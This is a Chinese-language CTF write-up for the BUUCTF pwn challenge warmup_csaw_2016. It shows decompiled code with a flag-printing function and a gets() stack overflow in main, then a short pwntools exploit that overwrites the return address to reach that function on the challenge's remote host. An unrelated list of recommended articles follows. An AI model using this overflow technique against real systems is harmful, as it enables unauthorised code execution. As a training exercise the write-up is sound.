buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v564; // rsp+40h rbp-40h BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
z落落9 分钟前
C# 构造函数(无参/有参/重载/this)+析构函数(终结器)|GC 垃圾回收
java·开发语言·c#
minji...9 分钟前
Linux 高级IO(四)多路转接之epoll,epoll 模型及原理
linux·运维·服务器·多路转接·epoll·epoll模型·红黑树/就绪队列/回调
武子康9 分钟前
Java-12 深入浅出 MyBatis 二级缓存详解:跨 SqlSession 共享与失效机制
java·后端
蜡笔婧萱10 分钟前
网络服务综合大实验--包含NFS服务器,Web服务器,DNS域名服务器
linux·服务器·网络
林熙蕾LXL16 分钟前
守护进程&IO多路复用介绍
linux·服务器·网络
考虑考虑18 分钟前
JDK9中的Set.of()使用注意
java·后端·java ee
plainGeekDev21 分钟前
findViewById → ViewBinding
java·kotlin·gradle
XLYcmy24 分钟前
面向Agent权限系统的快速审计工具
python·网络安全·ai·llm·飞书·agent·字节跳动
kkeeper~24 分钟前
0基础C语言积跬步之自定义类型结构体
c语言·开发语言
yz_aiks28 分钟前
IDEA终端配置oh-my-zsh实战:安装、插件与日常使用技巧
java·ide·intellij-idea